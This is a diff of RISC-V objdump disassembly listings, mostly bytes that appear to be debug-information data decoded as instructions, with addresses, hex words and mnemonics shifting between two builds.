-     65a:	3101                	jal	25a <__stack_size-0x5a6>
-     65c:	055b0113          	addi	sp,s6,85
-     660:	405a3403          	0x405a3403
-     664:	1320                	addi	s0,sp,424
-     666:	5c01                	li	s8,-32
-     668:	3301                	jal	368 <__stack_size-0x498>
-     66a:	1200                	addi	s0,sp,288
-     66c:	298e                	fld	fs3,192(sp)
-     66e:	2040                	fld	fs0,128(s0)
-     670:	1d20                	addi	s0,sp,696
-     672:	0000                	unimp
-     674:	0659                	addi	a2,a2,22
-     676:	0000                	unimp
-     678:	025a0113          	addi	sp,s4,37
-     67c:	0079                	c.nop	30
-     67e:	1200                	addi	s0,sp,288
-     680:	299c                	fld	fa5,16(a1)
-     682:	2040                	fld	fs0,128(s0)
-     684:	1d14                	addi	a3,sp,688
-     686:	0000                	unimp
-     688:	0672                	slli	a2,a2,0x1c
+     61c:	0305                	addi	t1,t1,1
+     61e:	3cf0                	fld	fa2,248(s1)
+     620:	2040                	fld	fs0,128(s0)
+     622:	011a                	slli	sp,sp,0x6
+     624:	1a35015b          	0x1a35015b
+     628:	5c01                	li	s8,-32
+     62a:	7802                	flw	fa6,32(sp)
+     62c:	0000                	unimp
+     62e:	401ba01b          	0x401ba01b
+     632:	fa20                	fsw	fs0,112(a2)
+     634:	19000007          	0x19000007
+     638:	1bfe                	slli	s7,s7,0x3f
+     63a:	2040                	fld	fs0,128(s0)
+     63c:	0866                	slli	a6,a6,0x19
+     63e:	0000                	unimp
+     640:	0632                	slli	a2,a2,0xc
+     642:	0000                	unimp
+     644:	011a                	slli	sp,sp,0x6
+     646:	015a                	slli	sp,sp,0x16
+     648:	1a31                	addi	s4,s4,-20
+     64a:	5b01                	li	s6,-32
+     64c:	0305                	addi	t1,t1,1
+     64e:	3e28                	fld	fa0,120(a2)
+     650:	2040                	fld	fs0,128(s0)
+     652:	011a                	slli	sp,sp,0x6
+     654:	015c                	addi	a5,sp,132
+     656:	0036                	c.slli	zero,0xd
+     658:	1019                	c.nop	-26
+     65a:	401c                	lw	a5,0(s0)
+     65c:	fa20                	fsw	fs0,112(a2)
+     65e:	5d000007          	0x5d000007
+     662:	0006                	c.slli	zero,0x1
+     664:	1a00                	addi	s0,sp,304
+     666:	5a01                	li	s4,-32
+     668:	0305                	addi	t1,t1,1
+     66a:	3e30                	fld	fa2,120(a2)
+     66c:	2040                	fld	fs0,128(s0)
+     66e:	011a                	slli	sp,sp,0x6
+     670:	0079025b          	0x79025b
+     674:	011a                	slli	sp,sp,0x6
+     676:	025c                	addi	a5,sp,260
+     678:	0078                	addi	a4,sp,12
+     67a:	011a                	slli	sp,sp,0x6
+     67c:	045d                	addi	s0,s0,23
+     67e:	9c91                	0x9c91
+     680:	067f                	0x67f
+     682:	1900                	addi	s0,sp,176
+     684:	1c22                	slli	s8,s8,0x28
+     686:	2040                	fld	fs0,128(s0)
+     688:	07fa                	slli	a5,a5,0x1e
      68a:	0000                	unimp
-     68c:	015a0113          	addi	sp,s4,21
-     690:	1331                	addi	t1,t1,-20
-     692:	5b01                	li	s6,-32
-     694:	8202                	jr	tp
-     696:	0000                	unimp
-     698:	b212                	fsd	ft4,288(sp)
-     69a:	4029                	c.li	zero,10
-     69c:	1420                	addi	s0,sp,552
-     69e:	001d                	c.nop	7
-     6a0:	9300                	0x9300
-     6a2:	0006                	c.slli	zero,0x1
-     6a4:	1300                	addi	s0,sp,416
-     6a6:	5a01                	li	s4,-32
-     6a8:	3101                	jal	2a8 <__stack_size-0x558>
-     6aa:	055b0113          	addi	sp,s6,85
-     6ae:	405a3803          	0x405a3803
-     6b2:	1320                	addi	s0,sp,424
-     6b4:	5c01                	li	s8,-32
-     6b6:	3201                	jal	ffffffb6 <_heap_end+0x7fff17b6>
-     6b8:	1200                	addi	s0,sp,288
-     6ba:	29de                	fld	fs3,464(sp)
-     6bc:	2040                	fld	fs0,128(s0)
-     6be:	1d20                	addi	s0,sp,696
-     6c0:	0000                	unimp
-     6c2:	000006a7          	0x6a7
-     6c6:	025a0113          	addi	sp,s4,37
-     6ca:	0079                	c.nop	30
-     6cc:	1200                	addi	s0,sp,288
-     6ce:	2a06                	fld	fs4,64(sp)
-     6d0:	2040                	fld	fs0,128(s0)
-     6d2:	1d20                	addi	s0,sp,696
-     6d4:	0000                	unimp
-     6d6:	000006bb          	0x6bb
-     6da:	025a0113          	addi	sp,s4,37
-     6de:	0079                	c.nop	30
-     6e0:	1200                	addi	s0,sp,288
-     6e2:	2a2e                	fld	fs4,200(sp)
-     6e4:	2040                	fld	fs0,128(s0)
-     6e6:	1d20                	addi	s0,sp,696
-     6e8:	0000                	unimp
-     6ea:	000006cf          	fnmadd.s	fa3,ft0,ft0,ft0,rne
-     6ee:	025a0113          	addi	sp,s4,37
-     6f2:	0079                	c.nop	30
-     6f4:	1200                	addi	s0,sp,288
-     6f6:	2a3e                	fld	fs4,456(sp)
-     6f8:	2040                	fld	fs0,128(s0)
-     6fa:	1d38                	addi	a4,sp,696
-     6fc:	0000                	unimp
-     6fe:	06e9                	addi	a3,a3,26
-     700:	0000                	unimp
-     702:	025a0113          	addi	sp,s4,37
-     706:	0084                	addi	s1,sp,64
-     708:	025b0113          	addi	sp,s6,37
-     70c:	0079                	c.nop	30
-     70e:	1200                	addi	s0,sp,288
-     710:	2a60                	fld	fs0,208(a2)
-     712:	2040                	fld	fs0,128(s0)
-     714:	1d2c                	addi	a1,sp,696
-     716:	0000                	unimp
-     718:	00000703          	lb	a4,0(zero) # 0 <__stack_size-0x800>
-     71c:	025a0113          	addi	sp,s4,37
-     720:	0079                	c.nop	30
-     722:	025b0113          	addi	sp,s6,37
-     726:	0084                	addi	s1,sp,64
-     728:	1200                	addi	s0,sp,288
-     72a:	2a7a                	fld	fs4,408(sp)
-     72c:	2040                	fld	fs0,128(s0)
-     72e:	1d14                	addi	a3,sp,688
-     730:	0000                	unimp
-     732:	0724                	addi	s1,sp,904
-     734:	0000                	unimp
-     736:	015a0113          	addi	sp,s4,21
-     73a:	1331                	addi	t1,t1,-20
-     73c:	5b01                	li	s6,-32
-     73e:	0305                	addi	t1,t1,1
-     740:	583c                	lw	a5,112(s0)
-     742:	2040                	fld	fs0,128(s0)
-     744:	015c0113          	addi	sp,s8,21
-     748:	0031                	c.nop	12
-     74a:	d612                	sw	tp,44(sp)
-     74c:	402a                	0x402a
-     74e:	1420                	addi	s0,sp,552
-     750:	001d                	c.nop	7
-     752:	4500                	lw	s0,8(a0)
-     754:	13000007          	0x13000007
-     758:	5a01                	li	s4,-32
-     75a:	3101                	jal	35a <__stack_size-0x4a6>
-     75c:	055b0113          	addi	sp,s6,85
-     760:	405a4003          	lbu	zero,1029(s4)
-     764:	1320                	addi	s0,sp,424
-     766:	5c01                	li	s8,-32
-     768:	3301                	jal	468 <__stack_size-0x398>
-     76a:	1200                	addi	s0,sp,288
-     76c:	2ae6                	fld	fs5,88(sp)
-     76e:	2040                	fld	fs0,128(s0)
-     770:	1d14                	addi	a3,sp,688
-     772:	0000                	unimp
-     774:	0766                	slli	a4,a4,0x19
-     776:	0000                	unimp
-     778:	015a0113          	addi	sp,s4,21
-     77c:	1331                	addi	t1,t1,-20
-     77e:	5b01                	li	s6,-32
-     780:	0305                	addi	t1,t1,1
-     782:	5a30                	lw	a2,112(a2)
-     784:	2040                	fld	fs0,128(s0)
-     786:	015c0113          	addi	sp,s8,21
-     78a:	0032                	c.slli	zero,0xc
-     78c:	f612                	fsw	ft4,44(sp)
-     78e:	402a                	0x402a
-     790:	1420                	addi	s0,sp,552
-     792:	001d                	c.nop	7
-     794:	8700                	0x8700
-     796:	13000007          	0x13000007
-     79a:	5a01                	li	s4,-32
-     79c:	3101                	jal	39c <__stack_size-0x464>
-     79e:	055b0113          	addi	sp,s6,85
-     7a2:	405a3403          	0x405a3403
-     7a6:	1320                	addi	s0,sp,424
-     7a8:	5c01                	li	s8,-32
-     7aa:	3301                	jal	4aa <__stack_size-0x356>
-     7ac:	1200                	addi	s0,sp,288
-     7ae:	2b02                	fld	fs6,0(sp)
-     7b0:	2040                	fld	fs0,128(s0)
-     7b2:	1d20                	addi	s0,sp,696
-     7b4:	0000                	unimp
-     7b6:	0000079b          	0x79b
-     7ba:	025a0113          	addi	sp,s4,37
-     7be:	0079                	c.nop	30
-     7c0:	1b00                	addi	s0,sp,432
-     7c2:	2b10                	fld	fa2,16(a4)
-     7c4:	2040                	fld	fs0,128(s0)
-     7c6:	1d14                	addi	a3,sp,688
-     7c8:	0000                	unimp
-     7ca:	015a0113          	addi	sp,s4,21
-     7ce:	1331                	addi	t1,t1,-20
-     7d0:	5b01                	li	s6,-32
-     7d2:	064c9103          	lh	sp,100(s9)
-     7d6:	0000                	unimp
-     7d8:	0800                	addi	s0,sp,16
-     7da:	00ec                	addi	a1,sp,76
-     7dc:	0000                	unimp
-     7de:	07c9                	addi	a5,a5,18
-     7e0:	0000                	unimp
-     7e2:	a009                	j	7e4 <__stack_size-0x1c>
-     7e4:	0000                	unimp
-     7e6:	0700                	addi	s0,sp,896
-     7e8:	a009                	j	7ea <__stack_size-0x16>
-     7ea:	0000                	unimp
-     7ec:	2000                	fld	fs0,0(s0)
-     7ee:	1c00                	addi	s0,sp,560
-     7f0:	a068                	fsd	fa0,192(s0)
-     7f2:	0000                	unimp
-     7f4:	5d01                	li	s10,-32
-     7f6:	0601                	addi	a2,a2,0
-     7f8:	22ec                	fld	fa1,192(a3)
-     7fa:	2040                	fld	fs0,128(s0)
-     7fc:	040c                	addi	a1,sp,512
-     7fe:	0000                	unimp
-     800:	9c01                	0x9c01
-     802:	00000e17          	auipc	t3,0x0
-     806:	7418                	flw	fa4,40(s0)
-     808:	5f01006b          	0x5f01006b
-     80c:	0f01                	addi	t5,t5,0
-     80e:	00000e17          	auipc	t3,0x0
-     812:	017a                	slli	sp,sp,0x1e
-     814:	0000                	unimp
-     816:	5610                	lw	a2,40(a2)
-     818:	16204023          	0x16204023
-     81c:	0000                	unimp
-     81e:	3a00                	fld	fs0,48(a2)
-     820:	0008                	0x8
-     822:	1d00                	addi	s0,sp,688
-     824:	110c                	addi	a1,sp,160
-     826:	0000                	unimp
-     828:	6701                	0x6701
-     82a:	0c01                	addi	s8,s8,0
-     82c:	000000b3          	add	ra,zero,zero
-     830:	03fc                	addi	a5,sp,460
-     832:	0000                	unimp
-     834:	e91d                	bnez	a0,86a <__stack_size+0x6a>
-     836:	0039                	c.nop	14
-     838:	0100                	addi	s0,sp,128
-     83a:	0168                	addi	a0,sp,140
-     83c:	7918                	flw	fa4,48(a0)
-     83e:	0000                	unimp
-     840:	1b00                	addi	s0,sp,432
-     842:	0004                	0x4
-     844:	1b00                	addi	s0,sp,432
-     846:	2360                	fld	fs0,192(a4)
-     848:	2040                	fld	fs0,128(s0)
-     84a:	1d44                	addi	s1,sp,692
-     84c:	0000                	unimp
-     84e:	025a0113          	addi	sp,s4,37
-     852:	0079                	c.nop	30
-     854:	015b0113          	addi	sp,s6,21
-     858:	1330                	addi	a2,sp,424
-     85a:	5c01                	li	s8,-32
-     85c:	4001                	c.li	zero,0
-     85e:	0000                	unimp
-     860:	c81a                	sw	t1,16(sp)
-     862:	0001                	nop
-     864:	cf00                	sw	s0,24(a4)
-     866:	0008                	0x8
-     868:	1d00                	addi	s0,sp,688
-     86a:	110c                	addi	a1,sp,160
-     86c:	0000                	unimp
-     86e:	7101                	addi	sp,sp,-512
-     870:	1301                	addi	t1,t1,-32
-     872:	00d0                	addi	a2,sp,68
-     874:	0000                	unimp
-     876:	042e                	slli	s0,s0,0xb
-     878:	0000                	unimp
-     87a:	e91d                	bnez	a0,8b0 <__stack_size+0xb0>
-     87c:	0039                	c.nop	14
-     87e:	0100                	addi	s0,sp,128
-     880:	0172                	slli	sp,sp,0x1c
-     882:	7918                	flw	fa4,48(a0)
-     884:	0000                	unimp
-     886:	4c00                	lw	s0,24(s0)
-     888:	0004                	0x4
-     88a:	1e00                	addi	s0,sp,816
-     88c:	2384                	fld	fs1,0(a5)
-     88e:	2040                	fld	fs0,128(s0)
-     890:	1d08                	addi	a0,sp,688
-     892:	0000                	unimp
-     894:	bc12                	fsd	ft4,56(sp)
-     896:	44204023          	0x44204023
-     89a:	001d                	c.nop	7
-     89c:	8c00                	0x8c00
-     89e:	0008                	0x8
-     8a0:	1300                	addi	s0,sp,416
-     8a2:	5a01                	li	s4,-32
-     8a4:	8202                	jr	tp
-     8a6:	1300                	addi	s0,sp,416
-     8a8:	5b01                	li	s6,-32
-     8aa:	3001                	jal	aa <__stack_size-0x756>
-     8ac:	015c0113          	addi	sp,s8,21
-     8b0:	0040                	addi	s0,sp,4
-     8b2:	c812                	sw	tp,16(sp)
-     8b4:	44204023          	0x44204023
-     8b8:	001d                	c.nop	7
-     8ba:	aa00                	fsd	fs0,16(a2)
-     8bc:	0008                	0x8
-     8be:	1300                	addi	s0,sp,416
-     8c0:	5a01                	li	s4,-32
-     8c2:	7902                	flw	fs2,32(sp)
-     8c4:	1300                	addi	s0,sp,416
-     8c6:	5b01                	li	s6,-32
-     8c8:	3001                	jal	c8 <__stack_size-0x738>
-     8ca:	015c0113          	addi	sp,s8,21
-     8ce:	0040                	addi	s0,sp,4
-     8d0:	d012                	sw	tp,32(sp)
-     8d2:	20204023          	0x20204023
-     8d6:	001d                	c.nop	7
-     8d8:	be00                	fsd	fs0,56(a2)
-     8da:	0008                	0x8
-     8dc:	1300                	addi	s0,sp,416
-     8de:	5a01                	li	s4,-32
-     8e0:	8202                	jr	tp
-     8e2:	0000                	unimp
-     8e4:	4023e61b          	0x4023e61b
-     8e8:	2020                	fld	fs0,64(s0)
-     8ea:	001d                	c.nop	7
-     8ec:	1300                	addi	s0,sp,416
-     8ee:	5a01                	li	s4,-32
-     8f0:	8202                	jr	tp
-     8f2:	0000                	unimp
-     8f4:	1000                	addi	s0,sp,32
-     8f6:	2414                	fld	fa3,8(s0)
-     8f8:	2040                	fld	fs0,128(s0)
-     8fa:	000e                	c.slli	zero,0x3
-     8fc:	0000                	unimp
-     8fe:	0908                	addi	a0,sp,144
-     900:	0000                	unimp
-     902:	e91d                	bnez	a0,938 <__stack_size+0x138>
-     904:	0039                	c.nop	14
-     906:	0100                	addi	s0,sp,128
-     908:	0182                	c.slli64	gp
-     90a:	7918                	flw	fa4,48(a0)
-     90c:	0000                	unimp
-     90e:	5f00                	lw	s0,56(a4)
-     910:	0004                	0x4
-     912:	1b00                	addi	s0,sp,432
-     914:	241e                	fld	fs0,448(sp)
-     916:	2040                	fld	fs0,128(s0)
-     918:	1d44                	addi	s1,sp,692
-     91a:	0000                	unimp
-     91c:	025a0113          	addi	sp,s4,37
-     920:	0079                	c.nop	30
-     922:	015b0113          	addi	sp,s6,21
-     926:	1330                	addi	a2,sp,424
-     928:	5c01                	li	s8,-32
-     92a:	4001                	c.li	zero,0
-     92c:	0000                	unimp
-     92e:	b410                	fsd	fa2,40(s0)
-     930:	4024                	lw	s1,64(s0)
-     932:	2c20                	fld	fs0,88(s0)
-     934:	0000                	unimp
-     936:	5d00                	lw	s0,56(a0)
-     938:	0009                	c.nop	2
-     93a:	1600                	addi	s0,sp,800
-     93c:	736d                	lui	t1,0xffffb
-     93e:	94010067          	jr	-1728(sp)
-     942:	0901                	addi	s2,s2,0
-     944:	00000e27          	0xe27
-     948:	9102                	jalr	sp
-     94a:	1050                	addi	a2,sp,36
-     94c:	24be                	fld	fs1,456(sp)
-     94e:	2040                	fld	fs0,128(s0)
-     950:	0018                	0x18
-     952:	0000                	unimp
-     954:	0941                	addi	s2,s2,16
+     68c:	0674                	addi	a3,sp,780
+     68e:	0000                	unimp
+     690:	011a                	slli	sp,sp,0x6
+     692:	055a                	slli	a0,a0,0x16
+     694:	403e4c03          	lbu	s8,1027(t3) # 1a403 <__stack_size+0x19c03>
+     698:	0020                	addi	s0,sp,8
+     69a:	3019                	jal	fffffea0 <_heap_end+0x7fff16a0>
+     69c:	401c                	lw	a5,0(s0)
+     69e:	fa20                	fsw	fs0,112(a2)
+     6a0:	8b000007          	0x8b000007
+     6a4:	0006                	c.slli	zero,0x1
+     6a6:	1a00                	addi	s0,sp,304
+     6a8:	5a01                	li	s4,-32
+     6aa:	0305                	addi	t1,t1,1
+     6ac:	3e60                	fld	fs0,248(a2)
+     6ae:	2040                	fld	fs0,128(s0)
+     6b0:	1900                	addi	s0,sp,176
+     6b2:	1c3e                	slli	s8,s8,0x2f
+     6b4:	2040                	fld	fs0,128(s0)
+     6b6:	07fa                	slli	a5,a5,0x1e
+     6b8:	0000                	unimp
+     6ba:	06a2                	slli	a3,a3,0x8
+     6bc:	0000                	unimp
+     6be:	011a                	slli	sp,sp,0x6
+     6c0:	055a                	slli	a0,a0,0x16
+     6c2:	403e7403          	0x403e7403
+     6c6:	0020                	addi	s0,sp,8
+     6c8:	4e19                	li	t3,6
+     6ca:	401c                	lw	a5,0(s0)
+     6cc:	6620                	flw	fs0,72(a2)
+     6ce:	0008                	0x8
+     6d0:	c300                	sw	s0,0(a4)
+     6d2:	0006                	c.slli	zero,0x1
+     6d4:	1a00                	addi	s0,sp,304
+     6d6:	5a01                	li	s4,-32
+     6d8:	3101                	jal	2d8 <__stack_size-0x528>
+     6da:	011a                	slli	sp,sp,0x6
+     6dc:	8803055b          	0x8803055b
+     6e0:	403e                	0x403e
+     6e2:	1a20                	addi	s0,sp,312
+     6e4:	5c01                	li	s8,-32
+     6e6:	3601                	jal	1e6 <__stack_size-0x61a>
+     6e8:	1900                	addi	s0,sp,176
+     6ea:	1c6a                	slli	s8,s8,0x3a
+     6ec:	2040                	fld	fs0,128(s0)
+     6ee:	0866                	slli	a6,a6,0x19
+     6f0:	0000                	unimp
+     6f2:	06e4                	addi	s1,sp,844
+     6f4:	0000                	unimp
+     6f6:	011a                	slli	sp,sp,0x6
+     6f8:	015a                	slli	sp,sp,0x16
+     6fa:	1a31                	addi	s4,s4,-20
+     6fc:	5b01                	li	s6,-32
+     6fe:	0305                	addi	t1,t1,1
+     700:	3e28                	fld	fa0,120(a2)
+     702:	2040                	fld	fs0,128(s0)
+     704:	011a                	slli	sp,sp,0x6
+     706:	015c                	addi	a5,sp,132
+     708:	0036                	c.slli	zero,0xd
+     70a:	7c19                	lui	s8,0xfffe6
+     70c:	401c                	lw	a5,0(s0)
+     70e:	fa20                	fsw	fs0,112(a2)
+     710:	0f000007          	0xf000007
+     714:	1a000007          	0x1a000007
+     718:	5a01                	li	s4,-32
+     71a:	0305                	addi	t1,t1,1
+     71c:	3e90                	fld	fa2,56(a3)
+     71e:	2040                	fld	fs0,128(s0)
+     720:	011a                	slli	sp,sp,0x6
+     722:	0079025b          	0x79025b
+     726:	011a                	slli	sp,sp,0x6
+     728:	025c                	addi	a5,sp,260
+     72a:	0078                	addi	a4,sp,12
+     72c:	011a                	slli	sp,sp,0x6
+     72e:	045d                	addi	s0,s0,23
+     730:	9c91                	0x9c91
+     732:	067f                	0x67f
+     734:	1900                	addi	s0,sp,176
+     736:	1c8c                	addi	a1,sp,624
+     738:	2040                	fld	fs0,128(s0)
+     73a:	0866                	slli	a6,a6,0x19
+     73c:	0000                	unimp
+     73e:	0730                	addi	a2,sp,904
+     740:	0000                	unimp
+     742:	011a                	slli	sp,sp,0x6
+     744:	015a                	slli	sp,sp,0x16
+     746:	1a31                	addi	s4,s4,-20
+     748:	5b01                	li	s6,-32
+     74a:	0305                	addi	t1,t1,1
+     74c:	3ec4                	fld	fs1,184(a3)
+     74e:	2040                	fld	fs0,128(s0)
+     750:	011a                	slli	sp,sp,0x6
+     752:	015c                	addi	a5,sp,132
+     754:	0036                	c.slli	zero,0xd
+     756:	9419                	srai	s0,s0,0x26
+     758:	401c                	lw	a5,0(s0)
+     75a:	0620                	addi	s0,sp,776
+     75c:	0008                	0x8
+     75e:	4700                	lw	s0,8(a4)
+     760:	1a000007          	0x1a000007
+     764:	5a01                	li	s4,-32
+     766:	0305                	addi	t1,t1,1
+     768:	d8b0                	sw	a2,112(s1)
+     76a:	8000                	0x8000
+     76c:	1900                	addi	s0,sp,176
+     76e:	1ca0                	addi	s0,sp,632
+     770:	2040                	fld	fs0,128(s0)
+     772:	0866                	slli	a6,a6,0x19
+     774:	0000                	unimp
+     776:	00000763          	beqz	zero,784 <__stack_size-0x7c>
+     77a:	011a                	slli	sp,sp,0x6
+     77c:	015a                	slli	sp,sp,0x16
+     77e:	1a31                	addi	s4,s4,-20
+     780:	5b01                	li	s6,-32
+     782:	0305                	addi	t1,t1,1
+     784:	d8b0                	sw	a2,112(s1)
+     786:	8000                	0x8000
+     788:	1900                	addi	s0,sp,176
+     78a:	1cb0                	addi	a2,sp,632
+     78c:	2040                	fld	fs0,128(s0)
+     78e:	0866                	slli	a6,a6,0x19
+     790:	0000                	unimp
+     792:	0784                	addi	s1,sp,960
+     794:	0000                	unimp
+     796:	011a                	slli	sp,sp,0x6
+     798:	015a                	slli	sp,sp,0x16
+     79a:	1a31                	addi	s4,s4,-20
+     79c:	5b01                	li	s6,-32
+     79e:	0305                	addi	t1,t1,1
+     7a0:	3ed0                	fld	fa2,184(a3)
+     7a2:	2040                	fld	fs0,128(s0)
+     7a4:	011a                	slli	sp,sp,0x6
+     7a6:	015c                	addi	a5,sp,132
+     7a8:	0036                	c.slli	zero,0xd
+     7aa:	d819                	beqz	s0,6c0 <__stack_size-0x140>
+     7ac:	401c                	lw	a5,0(s0)
+     7ae:	7220                	flw	fs0,96(a2)
+     7b0:	0008                	0x8
+     7b2:	a300                	fsd	fs0,0(a4)
+     7b4:	1a000007          	0x1a000007
+     7b8:	5a01                	li	s4,-32
+     7ba:	3001                	jal	ffffffba <_heap_end+0x7fff17ba>
+     7bc:	011a                	slli	sp,sp,0x6
+     7be:	a891035b          	0xa891035b
+     7c2:	1a7f                	0x1a7f
+     7c4:	5c01                	li	s8,-32
+     7c6:	3801                	jal	ffffffd6 <_heap_end+0x7fff17d6>
+     7c8:	1c00                	addi	s0,sp,560
+     7ca:	1d02                	slli	s10,s10,0x20
+     7cc:	2040                	fld	fs0,128(s0)
+     7ce:	07ee                	slli	a5,a5,0x1b
+     7d0:	0000                	unimp
+     7d2:	011a                	slli	sp,sp,0x6
+     7d4:	a891035b          	0xa891035b
+     7d8:	1a7f                	0x1a7f
+     7da:	5c01                	li	s8,-32
+     7dc:	7802                	flw	fa6,32(sp)
+     7de:	0000                	unimp
+     7e0:	1900                	addi	s0,sp,176
+     7e2:	1af0                	addi	a2,sp,380
+     7e4:	2040                	fld	fs0,128(s0)
+     7e6:	07fa                	slli	a5,a5,0x1e
+     7e8:	0000                	unimp
+     7ea:	07d2                	slli	a5,a5,0x14
+     7ec:	0000                	unimp
+     7ee:	011a                	slli	sp,sp,0x6
+     7f0:	055a                	slli	a0,a0,0x16
+     7f2:	403efc03          	0x403efc03
+     7f6:	0020                	addi	s0,sp,8
+     7f8:	fe1c                	fsw	fa5,56(a2)
+     7fa:	401a                	0x401a
+     7fc:	7220                	flw	fs0,96(a2)
+     7fe:	0008                	0x8
+     800:	1a00                	addi	s0,sp,304
+     802:	5a01                	li	s4,-32
+     804:	3001                	jal	4 <__stack_size-0x7fc>
+     806:	011a                	slli	sp,sp,0x6
+     808:	a891035b          	0xa891035b
+     80c:	1a7f                	0x1a7f
+     80e:	5c01                	li	s8,-32
+     810:	3101                	jal	410 <__stack_size-0x3f0>
+     812:	0000                	unimp
+     814:	391f 0013 3900      	0x39000013391f
+     81a:	05000013          	li	zero,80
+     81e:	091f 5a1f 00a3      	0xa35a1f091f
+     824:	5a00                	lw	s0,48(a2)
+     826:	060000a3          	sb	zero,97(zero) # 61 <__stack_size-0x79f>
+     82a:	05c8                	addi	a0,sp,708
+     82c:	0c1f 0071 0c00      	0xc0000710c1f
+     832:	0071                	c.nop	28
+     834:	0500                	addi	s0,sp,640
+     836:	0929                	addi	s2,s2,10
+     838:	321f 002a 3200      	0x3200002a321f
+     83e:	002a                	c.slli	zero,0xa
+     840:	0500                	addi	s0,sp,640
+     842:	9b1f062b          	0x9b1f062b
+     846:	0021                	c.nop	8
+     848:	9b00                	0x9b00
+     84a:	0021                	c.nop	8
+     84c:	0700                	addi	s0,sp,896
+     84e:	065e                	slli	a2,a2,0x17
+     850:	aa1f 0026 aa00      	0xaa000026aa1f
+     856:	0026                	c.slli	zero,0x9
+     858:	0700                	addi	s0,sp,896
+     85a:	076c                	addi	a1,sp,908
+     85c:	691f 008b 6900      	0x6900008b691f
+     862:	0800008b          	0x800008b
+     866:	ff1f151b          	0xff1f151b
+     86a:	0036                	c.slli	zero,0xd
+     86c:	ff00                	fsw	fs0,56(a4)
+     86e:	0036                	c.slli	zero,0xd
+     870:	0800                	addi	s0,sp,16
+     872:	1519                	addi	a0,a0,-26
+     874:	cd1f 0021 cd00      	0xcd000021cd1f
+     87a:	0021                	c.nop	8
+     87c:	0400                	addi	s0,sp,512
+     87e:	e21f0617          	auipc	a2,0xe21f0
+     882:	00a4                	addi	s1,sp,72
+     884:	e200                	fsw	fs0,0(a2)
+     886:	00a4                	addi	s1,sp,72
+     888:	0900                	addi	s0,sp,144
+     88a:	0cd5                	addi	s9,s9,21
+     88c:	f31f 00a3 f300      	0xf30000a3f31f
+     892:	0a0000a3          	sb	zero,161(zero) # a1 <__stack_size-0x75f>
+     896:	19f5                	addi	s3,s3,-3
+     898:	b51f 00a4 b500      	0xb50000a4b51f
+     89e:	00a4                	addi	s1,sp,72
+     8a0:	0a00                	addi	s0,sp,272
+     8a2:	19bd                	addi	s3,s3,-17
+     8a4:	ec00                	fsw	fs0,24(s0)
+     8a6:	04000003          	lb	zero,64(zero) # 40 <__stack_size-0x7c0>
+     8aa:	de00                	sw	s0,56(a2)
+     8ac:	0001                	nop
+     8ae:	0400                	addi	s0,sp,512
+     8b0:	ad01                	j	ec0 <__stack_size+0x6c0>
+     8b2:	004e                	c.slli	zero,0x13
+     8b4:	0c00                	addi	s0,sp,528
+     8b6:	0000a283          	lw	t0,0(ra)
+     8ba:	001a                	c.slli	zero,0x6
+     8bc:	0000                	unimp
+     8be:	0098                	addi	a4,sp,64
+     8c0:	0000                	unimp
+     8c2:	0000                	unimp
+     8c4:	0000                	unimp
+     8c6:	0b32                	slli	s6,s6,0xc
+     8c8:	0000                	unimp
+     8ca:	00002943          	fmadd.s	fs2,ft0,ft0,ft0,rdn
+     8ce:	0102                	c.slli64	sp
+     8d0:	6d06                	flw	fs10,64(sp)
+     8d2:	007f                	0x7f
+     8d4:	0200                	addi	s0,sp,256
+     8d6:	0502                	c.slli64	a0
+     8d8:	3822                	fld	fa6,40(sp)
+     8da:	0000                	unimp
+     8dc:	0402                	c.slli64	s0
+     8de:	8405                	srai	s0,s0,0x1
+     8e0:	0051                	c.nop	20
+     8e2:	0200                	addi	s0,sp,256
+     8e4:	0508                	addi	a0,sp,640
+     8e6:	90b6                	add	ra,ra,a3
+     8e8:	0000                	unimp
+     8ea:	0102                	c.slli64	sp
+     8ec:	a008                	fsd	fa0,0(s0)
+     8ee:	03000013          	li	zero,48
+     8f2:	2271                	jal	a7e <__stack_size+0x27e>
+     8f4:	0000                	unimp
+     8f6:	3105                	jal	516 <__stack_size-0x2ea>
+     8f8:	5819                	li	a6,-26
+     8fa:	0000                	unimp
+     8fc:	0200                	addi	s0,sp,256
+     8fe:	0702                	c.slli64	a4
+     900:	00009bf7          	0x9bf7
+     904:	0402                	c.slli64	s0
+     906:	0065cd07          	flq	fs10,6(a1)
+     90a:	0200                	addi	s0,sp,256
+     90c:	0708                	addi	a0,sp,896
+     90e:	00000617          	auipc	a2,0x0
+     912:	0404                	addi	s1,sp,512
+     914:	6905                	lui	s2,0x1
+     916:	746e                	flw	fs0,248(sp)
+     918:	0200                	addi	s0,sp,256
+     91a:	0704                	addi	s1,sp,896
+     91c:	71e5                	lui	gp,0xffff9
+     91e:	0000                	unimp
+     920:	1002                	c.slli	zero,0x20
+     922:	3304                	fld	fs1,32(a4)
+     924:	0092                	slli	ra,ra,0x4
+     926:	0500                	addi	s0,sp,640
+     928:	8804                	0x8804
+     92a:	0000                	unimp
+     92c:	0200                	addi	s0,sp,256
+     92e:	0801                	addi	a6,a6,0
+     930:	7f74                	flw	fa3,124(a4)
+     932:	0000                	unimp
+     934:	8806                	mv	a6,ra
+     936:	0000                	unimp
+     938:	0500                	addi	s0,sp,640
+     93a:	8f04                	0x8f04
+     93c:	0000                	unimp
+     93e:	0700                	addi	s0,sp,896
+     940:	8b6d                	andi	a4,a4,27
+     942:	0000                	unimp
+     944:	0208                	addi	a0,sp,256
+     946:	080a                	slli	a6,a6,0x2
+     948:	00c2                	slli	ra,ra,0x10
+     94a:	0000                	unimp
+     94c:	6c08                	flw	fa0,24(s0)
+     94e:	6e65                	lui	t3,0x19
+     950:	0200                	addi	s0,sp,256
+     952:	004c0b0b          	0x4c0b0b
      956:	0000                	unimp
-     958:	6116                	flw	ft2,68(sp)
-     95a:	0030                	addi	a2,sp,8
-     95c:	9501                	srai	a0,a0,0x20
-     95e:	0901                	addi	s2,s2,0
-     960:	00c4                	addi	s1,sp,68
+     958:	0900                	addi	s0,sp,144
+     95a:	10a0                	addi	s0,sp,104
+     95c:	0000                	unimp
+     95e:	0c02                	c.slli64	s8
+     960:	8208                	0x8208
      962:	0000                	unimp
-     964:	5a01                	li	s4,-32
-     966:	1b00                	addi	s0,sp,432
-     968:	24be                	fld	fs1,456(sp)
-     96a:	2040                	fld	fs0,128(s0)
-     96c:	1d50                	addi	a2,sp,692
-     96e:	0000                	unimp
-     970:	025a0113          	addi	sp,s4,37
-     974:	0072                	c.slli	zero,0x1c
-     976:	025b0113          	addi	sp,s6,37
-     97a:	0082                	c.slli64	ra
-     97c:	015c0113          	addi	sp,s8,21
-     980:	0040                	addi	s0,sp,4
